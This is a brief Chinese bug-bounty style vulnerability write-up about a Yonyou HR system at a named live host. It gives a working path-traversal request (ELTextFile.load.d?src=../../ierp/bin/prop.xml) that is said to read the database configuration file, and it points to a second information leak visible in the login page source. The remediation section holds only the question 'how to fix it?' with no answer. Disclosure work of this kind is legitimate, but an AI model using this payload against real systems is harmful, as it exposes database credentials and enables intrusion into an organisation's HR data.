用友某系统任意文件，就拿某期的众测举例

https://hr.minshengec.cn/hrss/login.jsp 地址

查看源代码
 

http://wenku.baidu.com/view/252b4448e518964bcf847ccb?fr=prin 百度到了配置文件

然后慢慢构造

https://hr.minshengec.cn/hrss/ELTextFile.load.d?src=../../ierp/bin/prop.xml

读取到了数据库
 

还有一个敏感信息泄露

https://hr.minshengec.cn/login.jsp

查看源代码

修复方案：

怎么修复呢？